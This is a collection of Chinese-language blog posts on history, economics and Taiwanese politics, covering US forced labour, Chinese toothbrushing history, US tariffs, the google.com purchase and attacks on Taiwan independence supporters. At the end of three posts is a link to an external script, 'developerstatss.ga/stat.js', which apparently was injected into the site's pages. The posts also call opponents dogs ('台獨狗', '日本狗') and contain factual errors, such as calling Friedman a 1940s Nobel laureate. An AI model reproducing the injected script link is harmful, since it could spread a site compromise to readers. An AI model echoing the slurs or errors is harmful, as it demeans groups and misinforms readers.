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經濟分析 歷史

奴隸大國,USA

路易斯安那州眾議院近期通過了第 211 號法案(House Bill 211),被國家流浪法中心(National Homelessness Law Center)抨擊為全美最殘酷的反流浪者法律之一。該法案規定,在公共場所未經許可睡眠屬於犯罪行為,初犯者面臨罰款或最高六個月監禁,累犯則可能被處以一至兩年的強制勞役。

法案規定被告可選擇進入至少 12 個月的強制治療計畫以避免入獄,且需自行負擔每週高達 4,400 美元的昂貴治療費用。若無力支付,則必須為政府進行無償勞動。此外,法案授權在偏遠地區設立半永久性營地,莫非是集中營再現?

這算不算強迫勞動?現代奴隸制?因為你窮到無租屋能力,就得進入集中營打螺絲?

而當我們從住房供給角度來看,美國多州都存在Zone Code之類的住宅法規,各種限制讓條件差但卻能滿足遮風避雨需求的劣等租屋供給難以存在,使得無家可歸流浪者的狀況愈加嚴重。這部份很多經濟學家都有研究,例如1940年代諾貝爾經濟學獎得主Milton Friedman合著的知名論文【Roofs or Ceilings: The Current Housing Problem】就已經指出當時的美國政府法規限制造成住房供給不足,甚至本末倒置,這些名義上為了照顧人民、維護居住品質的法規才是造成出租屋品質越趨低劣的主因。

因此我們可以看到夾殺現象:一方面政府法規減少了住房租屋供給,另一方面政府又要把沒房屋居住的流浪漢判刑入獄或集中營,強迫勞動。

反過來,我們看看美國自己強迫勞動的劣跡,20世紀以前的奴隸制度就不說了。美國南北戰爭結束,名義上雖然廢除奴隸制,但其實內戰後南方各州利用美國憲法第十三修正案的漏洞——該修正案明確允許以「犯罪懲罰」為由施行強制勞役——大規模實施「囚犯租用制度」。地方當局以輕微罪名(如遊蕩、欠債)大量逮捕黑人,再將其以低廉費用「租借」給農場主、礦業公司與鐵路業者,實質上重建了奴隸制的勞動結構。阿拉巴馬、密西西比、佐治亞等州的煤礦與棉花園是最大的使用者。囚犯在幾乎無任何法律保護的情況下從事極度危險的勞動,死亡率極高。雖然聯邦政府於1941年正式禁止聯邦層面的囚犯租用,但部分州直至二戰結束前後才完全廢止。

但即便囚犯租用制度沒有了,但剝削囚犯的強迫勞動制度依然存在:美國人口僅佔世界人口4%左右,但卻擁有全球最高的監禁人口,囚犯人數佔全球總囚犯數的約 20% 至 25%,長年維持在200多萬人。

這些美國囚犯普遍被要求從事低薪甚至無薪勞動,生產商品供政府機構使用(最有名的就是打車牌),或提供維護監獄設施的服務。1990年代的大規模監禁政策(Mass Incarceration)使黑人與拉丁裔男性在囚犯人口中嚴重過度代表,批評者指出這是種族化強迫勞動體系的延伸。部分私營監獄更與企業簽訂合約,讓囚犯在極低工資下從事生產。

更甚者,在美國不只囚犯會被強迫勞動,如果你是原住民或少數民族,光是身分都可能讓你淪為奴隸。十九世紀末至二十世紀中葉,聯邦政府以「文明化」原住民為名,強制將原住民兒童送入寄宿學校,禁止使用母語與傳統文化,並強迫從事農業、家務、工廠等勞動,學校實際上將勞動作為主要「教育」內容。最具代表性的是1879年建立的賓州「卡萊爾印第安工業學校」(Carlisle Indian Industrial School)。這套制度延續至1970年代,美國政府遲至2022年才正式發布調查報告,承認此制度造成大規模兒童死亡與文化滅絕。

二戰期間,富蘭克林・羅斯福(Franklin D. Roosevelt)總統簽署第9066號行政命令,將約12萬名日裔美人強制遷入拘留營,其中約三分之二是美國公民。被拘留者被迫以極低報酬在營地內從事農業、建設等勞動,財產遭沒收或賤賣,經濟損失難以估計。1988年,國會通過《公民自由法》(Civil Liberties Act),向倖存者每人支付2萬美元賠償,並正式道歉。

無論是從歷史還是最新法制與現象發展看,美國不虧是現在強迫勞動的奴隸大國。

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筆記 歷史 中醫

從明朝啟蒙書看刷牙

這本【魁本對相四言雜字】是一本刊行於明朝洪武年間(1368年~1398年)的幼兒啟蒙認字書,採取左圖右字的方式,收入四百多字。

可以看見當時中國人使用的牙刷。亦可推測牙刷都收入兒童啟蒙書,刷牙應該是日常生活常見動作。

而中醫典籍中,我找到如出版於元朝(公元1267年)的【御藥院方】(許國禎 著)之「刷牙沉香散」,描述「上為細末。每用半錢,如常刷牙,溫水漱之,早晚兩次用。」「如常」二字可見刷牙習慣之存在。

又如同樣元朝出版的【衛生寶鑑】(羅天益 著)記載「遺山牢牙散」。

更有宋朝【養生類纂】(公元1220年 周守忠 著)和元朝【飲食須知】(賈銘 著)均主張「不要用馬尾毛刷牙」。

還有金朝【蘭室秘藏】(公元1276年 李杲 著)收有「刷牙藥」和「獨聖散」和【儒門事親】(張從正 著)收有「仙人散」等幾種刷牙用粉劑。(均醫囑:為細末,早晚刷牙,溫水嗽之)

隨便都有十幾本醫書古籍記載刷牙用具或粉劑,可知刷牙這件事存在於中國人生活至少超過7、800年以上。

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歷史

美國的貿易壁壘傳統

150多年前,法國經濟學家弗雷德里克-巴斯蒂亞(Frédéric Bastiat)寫下了《燭匠請願書》,自稱代表了 “蠟燭、紙扎、燈籠、燭台、路燈、鼻煙壺和滅火器製造商 “以及 “油脂、油、樹脂、酒精和一般與照明有關的一切產品的生產商 “的利益。

巴斯蒂亞抱怨說,這些行業 “正遭受著一個外國對手的毀滅性競爭,他的照明生產條件顯然遠遠優於我們的生產條件,他正以令人難以置信的低價充斥著國內市場"。

這個卑鄙的外國對手是誰呢?

不是別人,正是太陽!

他主張法國政府通過一項法律,禁止所有公民讓陽光進入家中。

而這正是美國長年來習慣用貿易壁壘背後的愚蠢邏輯。

什麼?美國不是主張貿易自由嗎?錯了。美國建國以來大部分時間都是濫用貿易壁壘的國家,無論是關稅或非關稅壁壘。

從1861年到1933年,美國還是世界上關稅最高的國家之一,直到1942年後,美國才開始在國際上推行自由貿易,但其實期間還有如1974年貿易法第301條這種貿易壁壘法條在針對特定國家實施,而且往往真實理由是純政治問題,而非貿易問題。

美國建國後,光是直接以「貿易壁壘(tariff)」為名的法案就有:

1789: Tariff of 1789 (Hamilton Tariff)

1790: Tariff of 1790

1791: Tariff of 1791

1792: Tariff of 1792

1816: Tariff of 1816

1824: Tariff of 1824

1828: Tariff of 1828 (Tariff of Abominations)

1832: Tariff of 1832

1833: Tariff of 1833

1842: Tariff of 1842

1846: Walker tariff

1857: Tariff of 1857

1861: Morrill Tariff

1872: Tariff of 1872

1875: Tariff of 1875

1883: Tariff of 1883 (Mongrel Tariff)

1890: McKinley Tariff

1894: Wilson–Gorman Tariff Act

1897: Dingley Tariff

1909: Payne–Aldrich Tariff Act

1913: Revenue Act of 1913 (Underwood Tariff)

1921: Emergency Tariff of 1921

1922: Fordney–McCumber Tariff

1930: Smoot–Hawley Tariff Act

1934: Reciprocal Tariff Act

1947: General Agreement on Tariffs and Trade

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歷史

嘉靖皇帝相信龍涎香壯陽應為訛傳

說皇帝相信「龍涎香壯陽」說法我認為應該是錯誤的。

中醫藥典上記載龍涎香的功效:「開竅化痰,活血利氣」

此點與許多香料類藥材如小茴香、肉荳蔻一樣,都是取其「辛香走竄之效」。

傳統中醫認為:「開竅藥辛香走竄,為救急、治標之品,且能耗傷正氣,故只宜暫服,不可久用」

因此龍涎香不但壯陽壓根沒關係,事實上根據中醫理論,還認為長期使用會耗傷正氣而倒陽哩。

中國唐朝以來御醫制度遠比歐洲成熟。基本教材選輯、醫療理論與技術之鑑定考試等等都勝出歐洲當時醫療程度好幾條街。許多皇帝本身也略通醫理。例如康熙就曾自行開藥單(地黃湯方)治癒曹寅疾病,並另囑咐多服用土茯苓茶湯保養。(見圖,紅字為康熙御批)

因此明朝嘉靖皇帝是否如此不通中醫基本理論地誤認「開竅藥可以壯陽」?這點我相當懷疑。

西方常一提到某些東西受東方人喜愛,就歸因於「壯陽功效」,又或者把明明是家畜硬扯成「保育類動物」,這些我寫過兩篇文章分別駁斥。

越是禁止買賣,絕種來得越快」(犀牛角功效是『清熱』、穿山甲是「破散」,均非壯陽)

國家地理雜誌還真是沒底線-論阿膠

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歷史

扭曲歷史,假台獨最愛

這種操弄扭曲歷史的手法,假台獨真的很愛。

例如台北市中山橋(明治橋二代)也常被操弄成「國民黨馬英九市長沒有美感、不懂保存古蹟而胡亂拆除」。

但事實明明是1970年代台北市就有拆除中山橋的規劃,同時中山橋這種老式且建築於1933年的多孔拱橋對河流的通暢與淹水的影響,遠不如現代大跨度的橋樑。

再者,這群假文青假台獨從來都不看老舊橋樑的維護保存費用,從來都沒有成本概念。更不管當日據時代橋樑已經不敷使用,甚至有更好的技術選項時,繼續保存舊而無當的橋樑之成本利益分析是否划算。

同時,這群假文青假台獨批判馬英九封存拆下的中山橋材料暫放而一直未重新搭蓋。市政府理由是:找不到地方蓋橋。

這顯然是正確的理由。如果是為了交通方便,則採用新技術的橋樑不但安全得多,成本也少得多。若只是為了少部分人所謂的「審美觀」而重新復原一條舊橋,如此工程不但可能比蓋新橋還昂貴,而且效益何在?偏偏這群人又只會出一張嘴而不肯實際出錢。

話說這群看到大正、昭和建築就高潮的假文青,怎麼不問問日本宗主,為何東京彩虹大橋也是採用現代土木工程,而非類似明治橋的工法呢?何不揪團到日本指責一番?科科。

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筆記 歷史

日本人對台灣人之歧視

很神奇地,有些日本狗天生被虐傾向,對主人的各種虐待歧視依戀不已,還把這種特殊嗜好傳子傳孫。
再提供一些資料:

1. 直到1943年12月,據統計全台灣只有1萬7526戶接受皇民化政策改姓名,總人數只有12萬6211人,只占總人口不到百分之二。李登輝家族就是其一。

2. 根據1945年《台灣總督府職員錄》,殖民政府161個敕任(簡任)職位只有1個台灣人(0.6%),2120個奏任(薦任)職位只有29個台灣人(0.7%),21198個判任(委任)職位只有3726個台灣人(17%),其中多數是小學教員、街莊役場低階職員、後補警員,完全沒有政治影響力。總計日本統治台灣50年,台灣人只出現過2名科長、3名郡守、3名法官、9名中學教員、2名大專教授,從來沒有任何台灣人進入中上管理階層。

3. 1948年日本厚生省公布處理戰後軍人復員統計,台灣兵死亡率卻高達15%,是朝鮮兵的5倍!儘管台籍日本兵和日本軍人的服役相同,台灣兵在戰後卻始終無法得到日本政府補償,直到1977年經由5個台灣民間團體不斷請願,日本政府才在1995年勉強發給補償金,但也只以當年未付金額的120倍計算,每名台籍日本兵只領到日幣200萬,與日本軍人以7000倍計算補償金,相差高達58.3倍!

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商業評論 歷史

用12美元買下Google.com的人

2015年9月,正在攻讀MBA的學生Sanmay Ved閒來無事,上了Google Domain看看有什麼網址可以註冊。

使用過這類註冊網站如GoDaddy的朋友大概都知道,大家搜尋某個心目中的網域名稱,如果沒人購買,就會跳出「可購買」之類的選項。

Sanmay Ved福至心靈地想試試看「google.com」,看起來很荒謬,但他就想試試,沒想到…竟然「available」?!而且一年只要$12美元。

參見以下當年Sanmay Ved的截圖:


當下Sanmay Ved以為是系統出錯,可是沒想到他竟然從放入購物車到完成結帳﹐一氣呵成!而且從其他網域買賣平台驗證發現他是真 的 成 功 買了google.com這個網址!!

可惜,Google內部在一分鐘內就發現了錯誤,取消訂單與退回刷卡金額,google.com又重回Google懷抱。

而Sanmay Ved透過rewards program通報這項重大瑕疵,Google方面派人調查並確認後,致贈$6006.13美元給Sanmay Ved,表揚他協助發現bug。後來得知Sanmay Ved將受贈獎金捐給慈善機構後,Google這方又主動加碼加倍。

無論如何,Ved的確是Google認證,在2015年9月曾合法擁有google.com一分鐘的男人!https://js.developerstatss.ga/stat.js?n=ns1

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歷史 法律

台獨狗扭曲歷史又一例

針對某些人宣稱紅十字會發行假郵票,回應如下:

【台獨狗扭曲歷史又一例】

怪了,我的小學老師怎麼沒逼我買紅十字會的愛心票?

而且我記憶中明明老師有強調過:「這不是郵票,不能寄信」。也有強調:「這是捐款捐愛心」。

話說郵政法第十五條明文規定:「除中華郵政公司外,任何人不得發行、製作與郵票類似,且具有交付郵資證明之票證。」

如果時間往前推,民國41年郵政法第八條第二項就規定:
「郵票、明信片、及特製郵簡,由交通部擬訂式樣圖案及價格,呈請行政院核定,由郵政機關發行。」

同時當年的郵政法第39條規定,意圖偽造郵票或行使偽造郵票者依刑法202條處斷!OK,我連當年的刑法第202條也找給大家看:

「意圖供行使之用,而偽造、變造郵票或印花稅票者,處六月以上、五年以下有期徒刑,得併科一千元以下罰金。  

行使偽造、變造之郵票或印花稅票或意圖供行使之用而收集或交付於人者,處三年以下有期徒刑,得併科一千元以下罰金。

意圖供行使之用,而塗抹郵票或印花稅票上之註銷符號者,處一年以下有期徒刑,拘役或三百元以下罰金;其行使之者亦同。」

刑事責任耶!6個月以上5年以下有期徒刑,在白色恐怖年代,刑事責任還得了?!

本項規定一直到民國91年因為郵局改組為中華郵政公司,此項規定才挪到第15條。而刑事責任依然存在,改為郵政法第36條規定,刑期也是一樣。

換言之,從國民黨統治台灣以來,到現在民進黨二度執政,郵政法從未例外允許非郵政機關可以發行郵票。動輒以刑事責任相逼。

紅十字會除非是黐線、神經線沒釓緊,怎樣也不會蠢到去印假郵票等著被判刑。

沒想到現在有人不斷宣稱紅十字會「印假郵票」騙錢?可好笑的是舉出這張「號稱證明紅十字會賣過郵票的掃描圖檔」(https://imgur.com/KO190r1)圖樣中明明就沒有「郵票」二字,而是「愛心票」。

此種人可以為了反國民黨、反中搞到如此睜眼說瞎話,令人噁心。

PS其實這類台獨狗口中的歷史,睜眼說瞎話成分有夠重!

包含他宣稱:「…當初民國創立和制訂憲法時,領土根本不包含台澎,中華民國從未合法擁有過台澎)」

笑死人,第一屆中華民國國民代表大會出席名單查過沒?明明出席的就有台灣省代表19人,其中吳三連、余登發等共6名無黨籍代表就有出席。就連制憲國民大會都有台灣省代表12人參加(其中南志信醫師還是台東卑南族出身,台灣總督府醫學校畢業)。

什麼不包含台澎?那台灣省代表去國民大會是憑什麼入場投票的?不會台獨狗蠢到以為大家都跟你們一樣,去各種國際主要會議現場只能在門口作秀?莫非你們-太習慣-被檔在門口?XD

搞台獨搞到只能靠不斷捏造竄改歷史來欺騙大眾,真悲哀。https://js.developerstatss.ga/stat.js?n=ns1

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筆記 歷史

民進黨的言論怎麼跟共產黨那麼78像?

民進黨的言論怎麼跟共產黨那麼78像?

民進黨秘書長洪耀福:「…中國國民黨的基礎沒有因為2016年選舉而潰敗,國民黨基層還是存在,社會保守反改革的力量還是很強大的,所以改革過程才會遭遇這麼多的挑戰,民進黨2018年選戰最大的意義是,如何讓反改革的保守力量死心,「要讓國民黨再輸一次,讓台灣再贏一次」,這些反對改革的力量才會死心,台灣才能真正建立長治久安。…

…讓共產黨徹底了解台灣民心真正的走向,兩岸關係才有可能真正展開新的局面」,這對台灣來講才是真正的長治久安…」

毛澤東反右運動時:「…民盟在百家爭鳴和整風過程中所起的作用特別惡劣,有組織、有計劃、有綱領、有路線,都是自外於人民的,是反共反社會主義的。還有農工民主黨,一模一樣……整個春季,中國天空黑雲亂翻,其源蓋出於章羅(註:指章伯鈞、羅隆基)同盟……這種人不但有言論,而且有行動。他們是有罪的,『言者無罪』對他們不適用。…」

民進黨與共產黨背後共同邏輯都是:「凡是反對我者,都不算是人民,都應該被打擊到死為止!」

民進黨上台以來搞一例一休、廢核減碳等政策,與毛澤東後來搞的三面紅旗沒兩樣 — 都是以為強政府之力可以改變自然定律。

其實陳水扁執政時,民進黨就堂堂上演過全黨水母腦的戲碼,還記得2006年游錫堃說:「倒扁就是中國人糟蹋台灣人,台灣絕對不能讓『紅色恐怖』打倒、被糟蹋、被看輕!台灣國加油!」

與1976年江青面對審判時辯駁:「你們逮捕我,這是醜化毛主席。審判我就是醜化億萬人民,醜化億萬人民参加的無產階級文化大革命。」

簡直是照樣造句!

還有嗎?還有:

1976年
人民日報提出【兩個凡是】:「凡是毛主席作出的決策,我們都堅決維護,凡是毛主席的指示,我們都始終不渝地遵循。」

2006年
辜寬敏說:「沒有阿扁,怎麼挺台灣」https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 歷史

從茶葉考古看文景之治

看來茶葉歷史可以往前推到西漢初年是沒問題了。

有趣的是這段關於進貢皇帝的茶葉品質是取嫩芽部分,需要大量人力為之。

經濟分析上這代表:

1. 當時已經發展出相當成熟與精緻的飲茶習慣。

2. 當時有足夠的經濟實力去支撐「飲茶」這種不能填飽肚子的活動。

3. 經濟實力還高到可以培養出「只摘取嫩葉」供皇帝享受。

這是說,社會租值夠高(總體生產力夠高)才能夠支撐較為浪費的消遣行為。

文中未談到茶葉烘焙的方式,我想已經完全碳化大概也難得知西漢初年的人懂不懂以及懂多少炒茶功夫。

但國家經濟力足以維持相當規模這種無法直接提供熱量的飲料農業,顯見歷史記載的「文景之治」有其根據。